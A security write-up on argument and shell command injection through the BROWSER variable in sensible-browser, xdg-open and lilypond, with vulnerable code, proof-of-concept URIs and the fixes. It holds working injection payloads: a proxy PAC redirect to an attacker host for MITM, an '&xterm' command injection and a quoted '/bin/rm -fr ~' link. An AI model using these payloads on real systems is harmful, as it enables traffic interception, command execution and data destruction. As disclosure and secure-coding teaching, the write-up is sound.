Argument and shell command injections in browser invocation

Next episode:

While reading the source of sensible-browser in order to understand how it was choosing which browser to call (and how I could tweak this choice), I found an argument injection vulnerability when handling the BROWSER environment variable. This lead me (and others) to a a few other argument and shell command injection vulnerabilities in BROWSER processing and browser invocation in general.

Overview:

The BROWSER variable environment

The BROWSER environment variable is used as a way to specify the user's preferred browser. The specific handling of this variable is not consistent across programs:

  • some use it as a program name (BROWSER=firefox);

  • some use it as a colon-separated list of program names (BROWSER=firefox:chromium);

  • some can optionally use a %s token which is expanded into the URI (BROWSER='netscape -raise -remote "openURL(%s,new-window)":lynx').

As was already noted in 2001, naively implementing support for this environment variable (and especially the %s expansion) can lead to injection vulnerabilities:

Eric Raymond has proposed the BROWSER convention for Unix-like systems, which lets users specify their browser preferences and lets developers easily invoke those browsers. In general, this is a great idea. Unfortunately, as specified it has horrendous security flaws; documents containing hypertext links like ; /bin/rm -fr ~ will erase all of a user's files when the user selects it!

In contrast, the .desktop file specification clearly specifies how argument expansion and word splitting is supposed to happen when processing .desktop files in a way which is not vulnerable to injection attacks.

Argument injection in sensible-browser (CVE-2017-17512)

The vulnerability

sensible-browser is a simple program which tries to guess a suitable browser to open a given URI. You call it like:

sensible-browser http://www.example.com/

and it ultimately calls something like:

firefox http://www.example.com/

The actual browser called depends on the desktop environment (and its configuration) and some environment variable.

While trying to understand how I could configure the browser to use, I found this snippet:

if test -n "$BROWSER"; then
  OLDIFS="$IFS"
  IFS=:
  for i in $BROWSER; do
      case "$i" in
          (*%s*)
          :
          ;;
          (*)
          i="$i %s"
          ;;
      esac
      IFS="$OLDIFS"
      cmd=$(printf "$i\n" "$URL")
      $cmd && exit 0
  done
fi

The idea is that when the BROWSER environment variable is set, it is taken as a list of browsers which are tried in turn. Morever if %s in present in one of the browser strings, it is replaced with the URI.

The problem is that if $URL contains some spaces (or other IFS characters) the URL will be split in several arguments.

The interesting lines are:

cmd=$(printf "$i\n" "$URL")
$cmd && exit 0

An attacker could inject additional arguments in the browser call.

For example, this command opens a Chromium window in incognito mode:

BROWSER=chromium sensible-browser "http://www.example.com/ --incognito"

One could argue that this URI is invalid and that this is not a problem. However, if the caller of sensible-browser does not properly validate the URI, an attacker could craft a broken URI which when called will add extra arguments when calling the browser.

A suitable caller

Emacs might call sensible-browser with an invalid URI.

First, we configure it to use open links with sensible-browser:

(setq browse-url-browser-function (quote browse-url-generic))
(setq browse-url-generic-program "sensible-browser")

Now, an org-mode file like this one will open Chromium in incognito mode:

[[http://www.example.com/ --incognito][test]]

Note: I was able to trigger this with org-mode 9.1.2 as shipped in the in Debian elpa-org package. This does not happen with org-mode 8.2.10 which was shipped in the emacs25 package.

MITMing the browser

This particular example is not very dangerous and the injection is easy to notice. However, other injected arguments can be more harmful and more insiduous.

Clicking on the link of this org file launches Chromium with an alternative PAC file:

[[http://www.example.com/ --proxy-pac-file=http://dangerous.example.com/proxy.pac][test]]

Nothing is notifying the user that an alternative PAC file is in use.

An attacker could use this type of URI to forward all the browser traffic to a server under his control and effectively MITM all the browser traffic:

function FindProxyForURL(url, host)
{
  return "SOCKS mitm.example.com:9080";
}

Of course, for HTTPS websites, the attacker still cannot MITM the user unless the users accepts a bogus certificate.

Alternatively, you can simply pass a --proxy-server argument to set a proxy withtout using a PAC file.

Fixing the vulnerability

A possible fix would be for sensible-browser to actually check that the URL parameter does not contain any IFS character.

The fix currently deployed is to remove support for %s-expansion altogether (as well as support for multiple browsers):

if test -n "$BROWSER"; then
    ${BROWSER} "$@"
    ret="$?"
    if [ "$ret" -ne 126 ] && [ "$ret" -ne 127 ]; then
        exit "$ret"
    fi
fi

References

Argument injection in xdg-open (CVE-2017-18266)

xdg-open is similar to sensible-browser. It opens files or URIs with some programs depending on the desktop-environment. In some cases it fall backs to using BROWSER:

open_envvar()
{
    local oldifs="$IFS"
    local browser browser_with_arg

    IFS=":"
    for browser in $BROWSER; do
        IFS="$oldifs"

        if [ -z "$browser" ]; then
            continue
        fi

        if echo "$browser" | grep -q %s; then
            $(printf "$browser" "$1")
        else
            $browser "$1"
        fi

        if [ $? -eq 0 ]; then
            exit_success
        fi
    done
}

The interesting bit is:

$(printf "$browser" "$1")

This is vulnerable to argument injection like the sensible-browser case.

This bug was reported in the xdg-utils bugtracker as bug #103807 and I proposed this very simple fix:

if echo "$browser" | grep -q %s; then
  # Avoid argument injection.
  # See https://bugs.freedesktop.org/show_bug.cgi?id=103807
  # URIs don't have IFS characters spaces anyway.
  has_single_argument $1 && $(printf "$browser" "$1")
else
  $browser "$1"
fi

where has_single_argument() is defined has:

has_single_argument()
{
  test $# = 1
}

Another (better) solution currently shipped in Debian is:

url="$1"
if echo "$browser" | grep -q %s; then
  shift $#
  for arg in $browser; do
    set -- "$@" "$(printf -- "$arg" "$url")"
  done
  "$@"
else
  $browser "$url"
fi

By the way, I learned this usage of set.

References:

Shell command injection in lilypond (CVE-2017-17523, CVE-2018-10992)

I started checking if the same vulnerability could be found in other programs using Debian code search. This led me to lilypond-invoke-editor.

This is an helper script expected to be set as a URI handler in a PDF viewer. It handles some special lilypond URIs (textedit://FILE:LINE:CHAR:COLUMN). It forwards other URIs to some real browser using:

(define (run-browser uri)
  (system
   (if (getenv "BROWSER")
       (format #f "~a ~a" (getenv "BROWSER") uri)
       (format #f "firefox -remote 'OpenURL(~a,new-tab)'" uri))))

The scheme system function is equivalent to the C system(): it passes the argument to the shell (with sh -c).

This case is worse than the previous ones. Not only can an attacker inject extra arguments (provided the caller can pass IFS chracters) but it's possible to inject arbitrary shell commands:

BROWSER="chromium" lilypond-invoke-editor "http://www.example.com/ & xterm"

It even works with valid URIs:

BROWSER="chromium" lilypond-invoke-editor "http://www.example.com/&xterm"

We can generate a simple PDF file which contains a link which calls xterm through lilypond-invoke-editor:

BROWSER="lilypond-invoke-editor" mupdf xterm-inject.pdf

The current fix in Debian is:

(define (run-browser uri)
  (if (getenv "BROWSER")
        (system*
          (getenv "BROWSER")
          uri)
          (system*
            "firefox"
            "-remote"
            (format #f "OpenUrl(~a,new-tab)" uri))))

system* is similar to posix_spawnp(): it takes a list of arguments and does something like fork(), execvp() and wait() (without going through a shell interpreter).

References :

Similar vulnerabilities

Someone apparently took over the job of finding similar issues in other packages because a whole range of related CVE has been registered at the same time (some of them are disputed, not all of them are valid):

I'll look at some of them in a next episode.

Analysis

These vulnerabilities can be split in two classes.

Argument injection

Argument injection can happen when IFS present in the URI are expanded into multiple arguments. This usually happen because of unquoted shell expansion of non-validated strings:

my-command $some_untrusted_input

IFS characters are not in valid URIs so if the URI was already validated somehow in the caller this is not be an issue. As we have seen, some caller might not properly validate the URI string.

Shell command injection

Shell command injection can happen when shell metacharacters ($, <, >, ;, &, &&, |, ||, etc.) found in the URI are passed without proper escaping to the shell interpreter:

  • either using the system() library call (in C, os.system() in Python, etc.)

  • or by the shell eval builtin;

  • or by calling sh -c explicitely.

A typical example would be be (in Python):

os.system("my-command " + url)

Or in shell:

eval my-command "$url"

In some cases, some escaping is done such as in gjots2:

os.system(browser + " '" + url + "' &")

This simple quoting is not enough however because you can escape out of it using single-quotes in the untrusted input. If you want to to that, you need to properly escape quotes and backslashes in the input as well:

os.system("{} {} ".format(browser, shlex.quote(url)))

Using system() is often a bad idea and you'd better use:

  • posix_spawn() in C (POSIX);

  • os.spawnl() or subprocess.run() in Python`;

  • system* in Scheme;

  • system("command", arg) in Ruby (instead of system("command " + arg))

  • system "command", $arg in Perl (instead of system "command " . $arg)

  • etc.

For example, the previous example could be rewritten as:

os.spawnvp(os.P_WAIT, browser, [browser, url])

Some of the shell metacharacters (&, ;, etc.) can be present in valid URIs (eg. http://www.example.com/&xterm) so even a proper URI validation does not protect against those attacks.

Related

  • Fun With Custom URI Schemes, where we learn that URI scheme handlers on Windows are quite a mess (and a funny example on Windows-based argument injection with application-specific custom URI scheme handlers)